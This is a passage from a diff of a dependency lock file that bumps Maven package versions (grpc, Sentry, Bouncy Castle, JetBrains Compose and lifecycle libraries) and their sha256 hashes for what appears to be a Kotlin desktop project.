-  "commons-io#commons-io/2.13.0": {
-   "jar": "sha256-Zx6qOWiNrC/6pGRbPJmAri0OokceSual2hmc0VriNmY=",
-   "pom": "sha256-2z/tZMLhd06/1rGnSQN3MrFJuREd1+a5hfCN2lVHBDk="
+  "commons-io#commons-io/2.16.1": {
+   "jar": "sha256-9B97qs1xaJZEes6XWGIfYsHGsKkdiazuSI2ib8R3yE8=",
+   "pom": "sha256-V3fSkiUceJXASkxXAVaD7Ds1OhJIbJs+cXjpsLPDj/8="
   },
   "commons-logging#commons-logging/1.2": {
    "jar": "sha256-2t3qHqC+D1aXirMAa4rJKDSv7vvZt+TmMW/KV98PpjY=",
@@ -1786,34 +1815,46 @@
    "module": "sha256-qopIGqRvCjIgtHbyjRoKHtsyoMtFmfmTeae1PI5nYfk=",
    "pom": "sha256-m9MD9XiEXZB17a+NhYhDXjkeNmT/IVefaYUJ2unnElY="
   },
-  "io/grpc#grpc-api/1.57.0": {
-   "jar": "sha256-jSw4Qpn4Tuiqf2cPAOfLJrh+IxzzCRR0MHsyt2kQ9xw=",
-   "pom": "sha256-w/BUp8iGFkfQpVglsKlJ9E/PycZPR5CD2WgTgUxQJhI="
+  "io/grpc#grpc-api/1.57.2": {
+   "jar": "sha256-QrcuZXLAhAVaw84D5u/kM+sF72ILPa9RNqQ1n8csw+E=",
+   "pom": "sha256-x99FUaZPAoKnZugJUU1COEUKdCkFX5x3GIgdFqMQoCY="
   },
-  "io/grpc#grpc-context/1.57.0": {
-   "jar": "sha256-lT/KzYL1MeabduODT1gwutTCKuhBROBY1x3ICnQwJ10=",
-   "pom": "sha256-qyZOgr+2q4lfYBavizzERJWryB52nDD6WprgrRa+bMY="
+  "io/grpc#grpc-context/1.57.2": {
+   "jar": "sha256-m4rIjZzvKBna/+1729LyJoAjfUgsbGcf4C022j8IzwA=",
+   "pom": "sha256-iSf3fWOB4kSHaCcIGWpspyg2i4/XzrsQT9kyS2sSSRc="
   },
   "io/grpc#grpc-core/1.57.0": {
-   "jar": "sha256-O+5IxzvExbVb7Xm+DkhK3ya6Vr675XmN2/NHFO8eHOo=",
    "pom": "sha256-gYQEX1eR4Azyzbz16IRq/Uj1z35aTzj7W4MDx7Lv5Vs="
   },
+  "io/grpc#grpc-core/1.57.2": {
+   "jar": "sha256-WhAHCr/rSWbsTVgJYdzE5/afqDqyUkL5LBdl77B7hgY=",
+   "pom": "sha256-CpcgGv4Xh08DX4ol/7lwZ45Jqt8pksfZfG/5+x1dohE="
+  },
   "io/grpc#grpc-netty/1.57.0": {
-   "jar": "sha256-gdQ/LU7Rj6NBvYQKNzXxQDpwB0oEbhV+J/Z5tyG0ya0=",
    "pom": "sha256-7Z3917HtQ1avs8XRQH3ttjTIYC+0EEebSArYwROe4Xs="
   },
-  "io/grpc#grpc-protobuf-lite/1.57.0": {
-   "jar": "sha256-LFB8AtmBuEohdj1E4Jr08nmIHdPiW+MID2NhJYYH8Zg=",
-   "pom": "sha256-sCO+cAiElIn2Uu7/df0P4aqckF9nHTROFtqv3fkhgZ0="
+  "io/grpc#grpc-netty/1.57.2": {
+   "jar": "sha256-mAnUwQyU0R57KUbN61sohL4goJUQKJVE83Vp8CyHeiE=",
+   "pom": "sha256-ixIWHPKqz785j7Wvw7DXOiGvIGulDD2Pe/T2xLN16/g="
+  },
+  "io/grpc#grpc-protobuf-lite/1.57.2": {
+   "jar": "sha256-/EkX3F1BmsgQ+z8nUjwU514f5QNyFU+rKTJCFe5qlVo=",
+   "pom": "sha256-YHeMHqQHo7oKfw8J3wmegnInjoq8KYIsnPUOGgUvG3U="
   },
   "io/grpc#grpc-protobuf/1.57.0": {
-   "jar": "sha256-SfmG1OqxJhD9ukpokPylLV62U1mJFv24Y6Nm1eKO7Pc=",
    "pom": "sha256-wNy4xn/QHapjJW8Pi2jTcHzrfKhc2qt6PGw/9GDhPdE="
   },
+  "io/grpc#grpc-protobuf/1.57.2": {
+   "jar": "sha256-MWMNip6fCKlZhiAV4wpIY5CL42gMOmhvTB8I0v/q9wY=",
+   "pom": "sha256-xeIpKAIFOXfwRhCxcEhKmh6mrxVBwUSyfRiECsVE+p0="
+  },
   "io/grpc#grpc-stub/1.57.0": {
-   "jar": "sha256-bm7hQVOfoU2fpHn39RFgVUREPH4BHnjic8+UaKoYMGA=",
    "pom": "sha256-bURZSHxiHf8xUQqIgpBjYx6RXS3Md01xkoQYEW5ZqI0="
   },
+  "io/grpc#grpc-stub/1.57.2": {
+   "jar": "sha256-hNKvEnGRaPdjdfKv39brUTOoZe26kkTUDmuWjjrd4dM=",
+   "pom": "sha256-IVnmFKh5R3XrmOLhyFg0q05ZEb4cSnXHFjqZPpyJK6w="
+  },
   "io/insert-koin#koin-core-jvm/3.5.6": {
    "jar": "sha256-gjubMViP+QIVwfzq4w36FB0lKOPU5CwoQ+pAyDUr32k=",
    "module": "sha256-IiurmbCubv5NKYHgt8fLYFRc6AGHTBVZkVBlZgYm6yE=",
@@ -2044,19 +2085,19 @@
    "module": "sha256-MdgyMyR0zkgVD1uuADNDMZE28zav0QdqKJApMZ4+qXo=",
    "pom": "sha256-ft7khhbhe2Epfq46gutIOoXlbSVnkpN4qkbzCpUDIto="
   },
-  "io/sentry#sentry-kotlin-multiplatform-jvm/0.11.0": {
-   "jar": "sha256-EMJ6bRCkZK7LXZhhvjqlcnl6Cx/nipa87zUg4F4vZ1A=",
-   "module": "sha256-jf0/tfj/kN+g0T8Yr1K5nwYCY4Q3kMHHSIVNvpYY74Y=",
-   "pom": "sha256-XCpFSbIjGBj6v/vivnBZ2k2TC5yb+bsfyPG3rh/owz0="
+  "io/sentry#sentry-kotlin-multiplatform-jvm/0.12.0": {
+   "jar": "sha256-O/z/1CG6XIIYrvjz/x+KBMBa3kaTt+8Yc7zWp8wOl8Y=",
+   "module": "sha256-uqQCJ82hcAuab1EtwgrXBDB7lVnptXtvu24CWL2W1jg=",
+   "pom": "sha256-/hEp7FMvE2lCHQnAWQtgdU8cUy3ycmFEfyfmxYNmSas="
   },
-  "io/sentry#sentry-kotlin-multiplatform/0.11.0": {
-   "module": "sha256-4dzObB02wWfDljIlMAzF9qTVRHotFmHEuFoIF18YpgM=",
-   "pom": "sha256-9WZj83fjsVpNX5RQeEAzvJxGVzf665CSme6Ohp/LEDU="
+  "io/sentry#sentry-kotlin-multiplatform/0.12.0": {
+   "module": "sha256-N+fdfmhXBDIGLklwjxmDvWN8TOiyW1Gga8V6Tfwguss=",
+   "pom": "sha256-wkjtJf07NMXNPuk1ELsVVhgCcD+rjBZ+Chn0NBmttko="
   },
-  "io/sentry#sentry/7.18.1": {
-   "jar": "sha256-npO59Q7db27VOBDSXewyg6CNnS3TEnwq9JMLsqh5qQM=",
-   "module": "sha256-bgQgjWchfoLi85Wn4N1t18viJc/iIn/RDwaTjOMsQuw=",
-   "pom": "sha256-DCOMY/KBAE6hfzTIUhqEETJFWFO4JGnUhj9wLY0wvuA="
+  "io/sentry#sentry/8.8.0": {
+   "jar": "sha256-FP6T2JRlBMFXy+haPC5QY77c7Jvq04TJP3mlFxTC0TI=",
+   "module": "sha256-upAHAYOH8B8RjPHCy0xgN+FKx1FR2sb7nSfG0akrwZw=",
+   "pom": "sha256-n5H3T5E9NMhWuml/lZ5cerZa2W7AjW1TY0688Irn4pc="
   },
   "jakarta/activation#jakarta.activation-api/1.2.1": {
    "jar": "sha256-iwoPUvqLBcVDGSGgY+2GbvqkHa3y46fuPhlh8rDZZFs=",
@@ -2153,9 +2194,6 @@
   "org/apache#apache/13": {
    "pom": "sha256-/1E9sDYf1BI3vvR4SWi8FarkeNTsCpSW+BEHLMrzhB0="
   },
-  "org/apache#apache/15": {
-   "pom": "sha256-NsLy+XmsZ7RQwMtIDk6br2tA86aB8iupaSKH0ROa1JQ="
-  },
   "org/apache#apache/18": {
    "pom": "sha256-eDEwcoX9R1u8NrIK4454gvEcMVOx1ZMPhS1E7ajzPBc="
   },
@@ -2168,8 +2206,8 @@
   "org/apache#apache/27": {
    "pom": "sha256-srD8aeIqZQw4kvHDZtdwdvKVdcZzjfTHpwpEhESEzfk="
   },
-  "org/apache#apache/29": {
-   "pom": "sha256-PkkDcXSCC70N9jQgqXclWIY5iVTCoGKR+mH3J6w1s3c="
+  "org/apache#apache/31": {
+   "pom": "sha256-VV0MnqppwEKv+SSSe5OB6PgXQTbTVe6tRFIkRS5ikcw="
   },
   "org/apache#apache/33": {
    "pom": "sha256-14vYUkxfg4ChkKZSVoZimpXf5RLfIRETg6bYwJI6RBU="
@@ -2181,17 +2219,14 @@
   "org/apache/commons#commons-parent/34": {
    "pom": "sha256-Oi5p0G1kHR87KTEm3J4uTqZWO/jDbIfgq2+kKS0Et5w="
   },
-  "org/apache/commons#commons-parent/35": {
-   "pom": "sha256-cJihq4M27NTJ3CHLvKyGn4LGb2S4rE95iNQbT8tE5Jo="
-  },
   "org/apache/commons#commons-parent/42": {
    "pom": "sha256-zTE0lMZwtIPsJWlyrxaYszDlmPgHACNU63ZUefYEsJw="
   },
   "org/apache/commons#commons-parent/52": {
    "pom": "sha256-ddvo806Y5MP/QtquSi+etMvNO18QR9VEYKzpBtu0UC4="
   },
-  "org/apache/commons#commons-parent/58": {
-   "pom": "sha256-LUsS4YiZBjq9fHUni1+pejcp2Ah4zuy2pA2UbpwNVZA="
+  "org/apache/commons#commons-parent/69": {
+   "pom": "sha256-1Q2pw5vcqCPWGNG0oDtz8ZZJf8uGFv0NpyfIYjWSqbs="
   },
   "org/apache/groovy#groovy-bom/4.0.22": {
    "module": "sha256-Ul0/SGvArfFvN+YAL9RlqygCpb2l9MZWf778copo5mY=",
@@ -2266,17 +2301,17 @@
    "jar": "sha256-gI+zFm8+Z9rZgRwzECmrFoEkL9Urc1vD8z8oEWf8xy4=",
    "pom": "sha256-utAkGAobRpy9lOXy2xKEG8rFRD2VRWB/Zzz95nfB2HI="
   },
-  "org/bouncycastle#bcpkix-jdk18on/1.77": {
-   "jar": "sha256-Gsf+jv1bLzjNwWW+WgZ1c0/kSAjauScHIB8DpTXW8bg=",
-   "pom": "sha256-j7CSbwLixLLcUuR+uwk/kvHTu28UnCpcyl4qZI0sSY0="
+  "org/bouncycastle#bcpkix-jdk18on/1.79": {
+   "jar": "sha256-NjmiTd+bpLfroGWbRHcOkeuoFkIYiOVx8oWq3v5TLNY=",
+   "pom": "sha256-NeSfQTTeKsMmw6UKJXYsu021bzgC+j9zDMhbZTrQmHs="
   },
-  "org/bouncycastle#bcprov-jdk18on/1.77": {
-   "jar": "sha256-2ruYwk1yybn1hWM9HfnFzVjZrTc9DNaBNn5qYDpJXVg=",
-   "pom": "sha256-rROCz80DvN2L4TkTwC9E/UadCnalPPLK71vhgK3DayM="
+  "org/bouncycastle#bcprov-jdk18on/1.79": {
+   "jar": "sha256-DYHswxJFNrU5vOmqP+liG3+Eyc7jcbY1pbMceLeasdo=",
+   "pom": "sha256-2PGgaxSddG6dmN5U4veqmy62E/s1ymfYrjls6qxmHuQ="
   },
-  "org/bouncycastle#bcutil-jdk18on/1.77": {
-   "jar": "sha256-lHZzvLxajd4tL6aIpbdZjQym4qdKfqMM2T8E9rOtaPg=",
-   "pom": "sha256-Fj36ZjL/uSinBcqDciNQys6knM1iPOc2RaXMOw+p5ug="
+  "org/bouncycastle#bcutil-jdk18on/1.79": {
+   "jar": "sha256-xwuIraWJOMvC8AXUAykFQHi8+hFJ5v/APpJC62qyGDY=",
+   "pom": "sha256-4kwftM8WBUBaaYjp5NbksuH0OT/HOompRSrmJe4xHQI="
   },
   "org/checkerframework#checker-compat-qual/2.5.5": {
    "jar": "sha256-EdE0skXpysxHRRTS1mtbhhj4A5oUZc3FW7wLNOAAi3o=",
@@ -2375,84 +2410,91 @@
    "module": "sha256-6Q8fmUKy7j76WxfzVB5BKVZaQEmIAA2KM1fOYkXADQY=",
    "pom": "sha256-IfsRREjUl71+KtFsG8xpYId4BzWlJTKW5b1sV1PQqLs="
   },
-  "org/jetbrains/androidx/lifecycle#lifecycle-common/2.9.0-alpha04": {
-   "module": "sha256-aqFPy1x7azOaQkXjSCA2jWL2o4Wahb9eU4e0Vf1VTK0=",
-   "pom": "sha256-y0+U9WGyH0BMf7zIZeF5+hHKJTf4sZjQ0IRnNrajdnA="
+  "org/jetbrains/androidx/lifecycle#lifecycle-common/2.8.4": {
+   "module": "sha256-o7yb3i/+/IFT1Sr8WAQms4rWV2yuE0a7jIPbzFBvAPQ=",
+   "pom": "sha256-BjXG8hQBtELWxoStOF6vEfzeJDv7dZbGk62+tZPwobM="
   },
-  "org/jetbrains/androidx/lifecycle#lifecycle-runtime-compose-desktop/2.9.0-alpha04": {
-   "jar": "sha256-0oShPRDCm4/pPqXDlBPLjXQGUyug8Tdg98XOOq6Xe4Q=",
-   "module": "sha256-esWuBXS3RpwQThCsq1fLSNIWLv+HqKzXVnssnlboViU=",
-   "pom": "sha256-uegv/vs3HDMYEeBv/sb9ZXxGU4NJllBoU6tYlfZaXpE="
+  "org/jetbrains/androidx/lifecycle#lifecycle-common/2.9.0-beta01": {
+   "module": "sha256-ZLmuzdwnt+qpRzolk2c1cBBXIl221XogCWuc/eAhlLU=",
+   "pom": "sha256-uBHnNujra8qzTsj56rfJ7y5OBRja+mYilPuwNXcciOs="
   },
-  "org/jetbrains/androidx/lifecycle#lifecycle-runtime-compose/2.9.0-alpha04": {
-   "module": "sha256-zKUN2P4iFsvYiFY9EYeH/MIsJdtDK75DUTVCXEblUhw=",
-   "pom": "sha256-5Hd36RAmo6FWG6DQRaXA4qAP3U27+vSG6sSV5k4lfHY="
+  "org/jetbrains/androidx/lifecycle#lifecycle-runtime-compose-desktop/2.9.0-beta01": {
+   "jar": "sha256-Un+IWVJCklMxmsMPiwfrDB6xFhJxUB7hMz/9D63aSFE=",
+   "module": "sha256-GJbs9dXwXbm/8wBLirLq+eop3Qrq2mrs8068ocnWFtI=",
+   "pom": "sha256-ZmiocEG8g/WJusRxx80s4j8TL/lwv52WBAq6mQDzr4s="
   },
-  "org/jetbrains/androidx/lifecycle#lifecycle-runtime/2.9.0-alpha04": {
-   "module": "sha256-bknNPW5DPJhx0PwTQb6lYTv/qA6zDdl3a1t8zFJHuas=",
-   "pom": "sha256-IbBAlrekoKrDY3mx/9kntqdMo2p7qnXpVeKDCDGooEo="
+  "org/jetbrains/androidx/lifecycle#lifecycle-runtime-compose/2.9.0-beta01": {
+   "module": "sha256-jcpLfTCKtF4FOzjXWyuVHFXXnLrVy1Tnr4IFdJkonhU=",
+   "pom": "sha256-k8WMxAtltXEj6RRb8Us/qmxpUh6o4+GzWtXVKCvrPVk="
   },
-  "org/jetbrains/androidx/lifecycle#lifecycle-viewmodel-compose-desktop/2.9.0-alpha04": {
-   "jar": "sha256-3f7rkmLQZaY8VAvnMqDmILZ3rHrvLCE6WEViehKSmSE=",
-   "module": "sha256-GexRNKE1HoJkB7/BdOirRTKG1eeQD116YiGwmDpnb7g=",
-   "pom": "sha256-48MWNEKfaaHQJ26ICLbpl7QDjCbfXVWTGeMTqe3DYLI="
+  "org/jetbrains/androidx/lifecycle#lifecycle-runtime/2.8.4": {
+   "module": "sha256-t/5oq5S4ncDF1wWltk3LDDyDpITimPNfA2x5cRZgHqQ=",
+   "pom": "sha256-DQ7wsV76yiXtdgT6FB0OjT+6iU0wl511DVBpZrZg0Dk="
   },
-  "org/jetbrains/androidx/lifecycle#lifecycle-viewmodel-compose/2.9.0-alpha04": {
-   "module": "sha256-+9ayBiK9qNkZRCxpdHOYde6oLKsJaLOnPge4W1IGQ1Q=",
-   "pom": "sha256-fbPEU9dzg315i1FjOYEM8BJVysWTiBWNFgR+c5Be2gs="
+  "org/jetbrains/androidx/lifecycle#lifecycle-runtime/2.9.0-beta01": {
+   "module": "sha256-cWwsA/MF++hhSDQ9JohKhimsBFyoIFN/0Z1YPCvzjQs=",
+   "pom": "sha256-fo5B0Yi/cBXNVb0JAe6dLsR/az7eAVivtzi9tqpdO2c="
   },
-  "org/jetbrains/androidx/lifecycle#lifecycle-viewmodel-savedstate-desktop/2.9.0-alpha04": {
-   "jar": "sha256-FvZbSHgaFMaUIlbxNBVMBUBTKqpCF3t3++WbI+jRs9Y=",
-   "module": "sha256-sNV0hf7suQu9XH6cEl3m4MjMoggyRlZXUvruc0FviWU=",
-   "pom": "sha256-HwUIvK17WzGQ0hUOFF4uWjNOnngubx7+0xj7ROm6dwQ="
+  "org/jetbrains/androidx/lifecycle#lifecycle-viewmodel-compose-desktop/2.9.0-beta01": {
+   "jar": "sha256-vkeGqLdCblmyj1KvZPQ6diQpTVnLFYoM4t6DCxz5w2U=",
+   "module": "sha256-2bf33ULscIs0ipCZGIJiPPe/KtcdV1M9VD9Qy6z4Un4=",
+   "pom": "sha256-DAKhJosUOQC7IgGUe8TA+7IyhS0JWIibP85vNaiXLrA="
   },
-  "org/jetbrains/androidx/lifecycle#lifecycle-viewmodel-savedstate/2.9.0-alpha04": {
-   "module": "sha256-gKcAIcYGY/cR5VNPT0yjp00OJRlAeBuYhTF2bK4UQzs=",
-   "pom": "sha256-y/uF18Nt6BJq+dMSSopge12enEwOhoG+TbsYGpIkYTQ="
+  "org/jetbrains/androidx/lifecycle#lifecycle-viewmodel-compose/2.9.0-beta01": {
+   "module": "sha256-yhsjvflcvr4hVzAqxK9OU82+C8GlBDrl4QDYKbBU4b4=",
+   "pom": "sha256-eBfT+NqhT4JXqMeIAvFVBjd0Cabo1NsnjQgXKvusjQ4="
   },
-  "org/jetbrains/androidx/lifecycle#lifecycle-viewmodel/2.9.0-alpha04": {
-   "module": "sha256-CFQVo5KYYbwCv5xCBLcAn3nq0287BA6wYGECflIfyjQ=",
-   "pom": "sha256-giBGHdXfQbn0Sf4U+c2i9eoSI2gGbsx9HHa+gbNj+Tg="
+  "org/jetbrains/androidx/lifecycle#lifecycle-viewmodel-savedstate/2.9.0-beta01": {
+   "module": "sha256-Ei5ZUR0skw5pCrgzu0jeiz91FuhtdXzpiWXOhzZQpos=",
+   "pom": "sha256-BTgUyvfv+6KNCy96AUXNUceYJunaXQt5vd+OQO7SG9I="
   },
-  "org/jetbrains/androidx/navigation#navigation-common-desktop/2.9.0-alpha14": {
-   "jar": "sha256-lQvnQVnErCjzcuGoNdn43Na7/PwhRDXZZXYYknvbKWw=",
-   "module": "sha256-iv67qHpYcLSEfCMAzWy4v9MN1UsyuyYAMDtos6DAcqY=",
-   "pom": "sha256-5MbcH3rekEXjNnczStuluQxWGjJi5PZoDcPe/E9F1DA="
+  "org/jetbrains/androidx/lifecycle#lifecycle-viewmodel/2.8.4": {
+   "module": "sha256-YdkxJsnivTyFp0+XrYFbxhi5A52bFIOz9OXp6Ayc+Bw=",
+   "pom": "sha256-7VnmgyoqJ4xsYcgDMqFxWJmewWE90Cvir6DZ/PMbvfY="
   },
-  "org/jetbrains/androidx/navigation#navigation-common/2.9.0-alpha14": {
-   "module": "sha256-P+Epqwk2Z3VEJoKGM1A+rthoAaK8U3Rkt1zEehv+wzI=",
-   "pom": "sha256-nTK4Sfn/CvXOS8vbr73cVQQL+xYqQdkRGO7HrOyc8JQ="
+  "org/jetbrains/androidx/lifecycle#lifecycle-viewmodel/2.9.0-beta01": {
+   "module": "sha256-oM/i3heZ/iUMbO41knhWaBMeqoEuUGCsNhHnajXveSY=",
+   "pom": "sha256-lLcArsaFKLT/q+cNW1YprbF30z5jNz5GOnjYXLtxMK4="
   },
-  "org/jetbrains/androidx/navigation#navigation-compose-desktop/2.9.0-alpha14": {
-   "jar": "sha256-2fTNWGnlYiKAiO847s/4e1zSUVxXSSA4B/vYO+pTwq0=",
-   "module": "sha256-XDYB5RxltcvX+zXaQNBYf6Q60lTVaGV/xCZPvmI65Ls=",
-   "pom": "sha256-RwX+glV/+QAjKDxQ85PncaqNInRtAflZiST+zQz1b3E="
+  "org/jetbrains/androidx/navigation#navigation-common-desktop/2.9.0-beta01": {
+   "jar": "sha256-M6NE+IJwz9Ytz+bRC5qJoANQZYbFMRPrYz1BjCTzw80=",
+   "module": "sha256-X+daTls+i55kOG0szFMtoI/J5FkL8P3JQdjKQ4URLQw=",
+   "pom": "sha256-iPweKXKC5wfVzv+1k7KA6rCojzoi2WZI+Dx+vunpJFE="
   },
-  "org/jetbrains/androidx/navigation#navigation-compose/2.9.0-alpha14": {
-   "module": "sha256-qcO91XvDZpKz2kv1/bk70d8fstKt3fl3i9+u4gGOSVs=",
-   "pom": "sha256-mapb841feXzWuyMYMnGi5qzLMVaIP0cNcwREmMsHufw="
+  "org/jetbrains/androidx/navigation#navigation-common/2.9.0-beta01": {
+   "module": "sha256-JDoBviunsq1nl6VJkFcTz82ZNMCWbryalCA+giPGdz4=",
+   "pom": "sha256-WzOCSOVSKoWZhU5s6lXvz+TYjVQLTZJLEKpJSGJNj8E="
   },
-  "org/jetbrains/androidx/navigation#navigation-runtime-desktop/2.9.0-alpha14": {
-   "jar": "sha256-kcV34HYpS8w/d/Uak8aHcTsWHp/UEi4JQ93kL748wY8=",
-   "module": "sha256-ctyeUp5q13fCG0tGGMFR9xlhxGBXFHLCTiqzc40KzTg=",
-   "pom": "sha256-rwYCidS9nQbH6aSqZIQ81jvGQJc4R6DGEjtJnuYWVcA="
+  "org/jetbrains/androidx/navigation#navigation-compose-desktop/2.9.0-beta01": {
+   "jar": "sha256-5ZvQ507b/2dzjfBaL3kXVriiaQmnj1S4ZFtYzp5wJk8=",
+   "module": "sha256-+qRZvNZG42K7i46x5TU3Po2ITmHSP/BKkoO22YqmGPo=",
+   "pom": "sha256-eVmIq3RgJXNxZQmzZHe224A+qCBtcf/PyieLc39iwGI="
   },
-  "org/jetbrains/androidx/navigation#navigation-runtime/2.9.0-alpha14": {
-   "module": "sha256-2UTxuyQaMEQPaM1yLJkSv06Sp36qL44OBuq2dxC+7mA=",
-   "pom": "sha256-kTzW+l0TI2YOAzxJJwoqOybSBomTbqKu82RMxU5oSmw="
+  "org/jetbrains/androidx/navigation#navigation-compose/2.9.0-beta01": {
+   "module": "sha256-CkQSpwXQnd9xRDhKArbbkC+fci7Et9j/AH3UR1kfYbI=",
+   "pom": "sha256-RyQ9KSwd00rDTBrqeECqFiSRlOddqcr/7A59oTfv3zw="
   },
-  "org/jetbrains/androidx/performance#performance-annotation/1.0.0-alpha02": {
-   "module": "sha256-y892B/wsGu+lmgMT6hWE6gEIdc8Xnnu0TEYPVZnNc+I=",
-   "pom": "sha256-tFBttAnpLok73PB36S16gG1UTSN/7gb6JIPrjCFdBcM="
+  "org/jetbrains/androidx/navigation#navigation-runtime-desktop/2.9.0-beta01": {
+   "jar": "sha256-GN5zqUv5TtVZjrvmJeB93vbOD9f71piowakS8hQGVDU=",
+   "module": "sha256-edcCcy0prYG8Zot21OSGBFuqGFkxFMfSw4FU2SImzoc=",
+   "pom": "sha256-BSpQlfGIeaiC+tUpphjqwEJEf5hyu/ZGfRQNZu+fiow="
   },
-  "org/jetbrains/androidx/savedstate#savedstate-desktop/1.3.0-alpha04": {
-   "jar": "sha256-41987aa7a73hycDhjM16ps4bdeNGCfgH6ihIBgrY4bc=",
-   "module": "sha256-rqMsjfibFAKUunDY5cM6DD4s8DH2IEJjJQ312mzVU0A=",
-   "pom": "sha256-cYUyHCtb5DXgXMQpVT47ML5BykjpBjpALGaPv9S+iWY="
+  "org/jetbrains/androidx/navigation#navigation-runtime/2.9.0-beta01": {
+   "module": "sha256-Z4Dp9626PvGI68qPOQptNVw9dXChFEm/X8QoX5JwCKc=",
+   "pom": "sha256-dupghtMADJIHyQjzNvNF24RXU3vFULTSLoAEGp7beg8="
   },
-  "org/jetbrains/androidx/savedstate#savedstate/1.3.0-alpha04": {
-   "module": "sha256-i2FTZNeMO3Ki3XPl5dLnqG9H2K1/dP+1TjERVYhN2Eo=",
-   "pom": "sha256-ncPtVEigP556xWa9fJkp+RdYrNclUtttMuTum55Ox/4="
+  "org/jetbrains/androidx/savedstate#savedstate-compose-desktop/1.3.0-beta01": {
+   "jar": "sha256-zd0rFznOPGXKigQft74f78XDnWvbNXy6Th4Jd7ZNHuE=",
+   "module": "sha256-kIPisn4nLZItcz1y0S8OMF5rOY4Rfet3xwV2NTUXfyE=",
+   "pom": "sha256-P5zq2UQ6VpFHvz/iLg3xBBk0kLCH/q3rymtr+OdG95g="
+  },
+  "org/jetbrains/androidx/savedstate#savedstate-compose/1.3.0-beta01": {
+   "module": "sha256-kZ23fpxTkmCqzRq4eOsOTfpxSjLsUInkzt9/IrG7TXg=",
+   "pom": "sha256-ypq0MP7e4nrSX1zhOv8UmAFpxeyTjqjPyE2ls8fU0m0="
+  },
+  "org/jetbrains/androidx/savedstate#savedstate/1.3.0-beta01": {
+   "module": "sha256-M9qSImBQ1pVYZUg9UskDPhkxqPe6NuUJBrOjLlT6cG8=",
+   "pom": "sha256-3Gkal5kYzQqtfztZhD5qDsZXHOG0CdvGkBxqs0gnQrI="
   },
   "org/jetbrains/androidx/window#window-core-desktop/1.4.0-alpha03": {
    "jar": "sha256-TxK74lqFammMZ5aUQvQZcu3/qS0QfscnRSqs3FV1tg4=",
@@ -2463,99 +2505,132 @@
    "module": "sha256-Uv5LQSghWM8m3ufAnN9Wd1i2IDoUk8gs6XTEM7VVdTQ=",
    "pom": "sha256-KzAGtHCQliab2Q5wp683r5UmmqKs1YMeHG4mwsi+P8Y="
   },
-  "org/jetbrains/compose#compose-gradle-plugin/1.8.0-alpha04": {
-   "jar": "sha256-2WBK5Um8q507w3WtQW2ji06xPpYvX5Hb7TIoofXWgxg=",
-   "module": "sha256-Gth21E1Ko0iLdc4WCDX9MNfJ5zjtIQzUQhYLtpOI9WM=",
-   "pom": "sha256-u9FEofPKM25kpi+2F1lo1yhlCmIzgzQoJBZqvrZbQf8="
+  "org/jetbrains/compose#compose-gradle-plugin/1.8.0": {
+   "jar": "sha256-aSL7ZWSnNrgXACCREU6pe6qV1xt/cBySFn4ye7yKw80=",
+   "module": "sha256-LULcWegTIYH/ViDJeXjDz6gPSGnSWFbDwSOcHKZYKlI=",
+   "pom": "sha256-+N2AXpOZFg2IR76ZbTLqq/E3QHJH56C6BumhPnd9J8s="
   },
-  "org/jetbrains/compose#gradle-plugin-internal-jdk-version-probe/1.8.0-alpha04": {
-   "jar": "sha256-P5gb/7uA9FJx5DwcSTBKZkaPA111MCkA2Km70SPPUM0=",
-   "module": "sha256-btmw3t87doChrQ5ax3+br5laTF0TQjXEAyiEFrpSxq4=",
-   "pom": "sha256-vozzwcRUa5YqICnukSMGH951SdvXNmil91k2CQ68Vos="
+  "org/jetbrains/compose#gradle-plugin-internal-jdk-version-probe/1.8.0": {
+   "jar": "sha256-rLxhCUpV2YYgKWT2/THl2BGAiy0hoQpg3Adklf7DHoY=",
+   "module": "sha256-4LIRGuHu7TDa8hjvh3JuAA5snMC8Pz5IOPOWplK0SwE=",
+   "pom": "sha256-dg/9F9wiphxCGeRGUN0ps8Fbs0CHb20XZJVhOaRHWbA="
   },
-  "org/jetbrains/compose#org.jetbrains.compose.gradle.plugin/1.8.0-alpha04": {
-   "pom": "sha256-LloUKySgGL+p98Vv1ABrhlOUxEvzHVDCOfQRT3hLxQc="
+  "org/jetbrains/compose#org.jetbrains.compose.gradle.plugin/1.8.0": {
+   "pom": "sha256-x93pQCg2ArLRTHCEbLIVTQxyzwsHFWY/wzkqjM/h/BY="
   },
-  "org/jetbrains/compose/animation#animation-core-desktop/1.8.0-alpha04": {
-   "jar": "sha256-KRrqHKb+qzsKwxzBZG7i5jQVLigruiY2/dfht+DFtQw=",
-   "module": "sha256-S/W/S2PMtco+xOpNtVE0LB7OUdiMvrhbsZHph6T5Xyk=",
-   "pom": "sha256-Pi27qd9WDdTiM94hqVBN0NwjcHgwDLxFc4QEHtTecCg="
+  "org/jetbrains/compose/animation#animation-core-desktop/1.7.1": {
+   "jar": "sha256-KzR6v2xIYmFToCtw7va74dPJUnUV1vn37OrqPDmFM7s=",
+   "module": "sha256-c7rYgJkZ/IbsKE5mCKv603DsBjPtbHWV9ptYNh9SAD8=",
+   "pom": "sha256-xqopawWzH+UZ3cIswgrd989vsdtV+anMYJ1TL/h/81w="
   },
-  "org/jetbrains/compose/animation#animation-core/1.8.0-alpha04": {
-   "module": "sha256-fDflvEiuq6jUGjBXSWbJ6DS3k9Exhq+gWWCiRYZzhnM=",
-   "pom": "sha256-Gx5oYdORxl/GM/eKaNj8oxGjE84p2LfslxlHCy286UY="
+  "org/jetbrains/compose/animation#animation-core-desktop/1.8.0": {
+   "jar": "sha256-2j8nJnMX+ofR1II8nBJXHsfkVDtPylQ+RTXgDQ159pY=",
+   "module": "sha256-hFifYJt6D2LfyxkTnDmBKEshWe0VAFP3LfM1lSDjVlY=",
+   "pom": "sha256-RchxHspESqUreP+bwhucfANFJlSMPQVlV5JxzfIF3JM="
   },
-  "org/jetbrains/compose/animation#animation-desktop/1.8.0-alpha04": {
-   "jar": "sha256-cunpgaebbblw+8dwFjiSt3PinbG33L8Khlxew07T+aw=",
-   "module": "sha256-0oaNiCNmM4ZFs6s1u7vO3g6DzCNYVzn1P/tB9yjVS74=",
-   "pom": "sha256-EXEmubeGcJmLLT77p77E7PYB93degR1AaVqTgoHzfGM="
+  "org/jetbrains/compose/animation#animation-core/1.7.1": {
+   "module": "sha256-v4u73LKXNY9tN9inJOif8+kLp+VkA26ZA5X3OwxEjMo=",
+   "pom": "sha256-VdE9LN1WVa+tasG8Ou5rMU2ILf6Nj/UVVmsHj4AuKbw="
   },
-  "org/jetbrains/compose/animation#animation/1.8.0-alpha04": {
-   "module": "sha256-CKEQLW2XTTeC9vPTqP2xxwabAfvt+xOoPrJQvpuj2iA=",
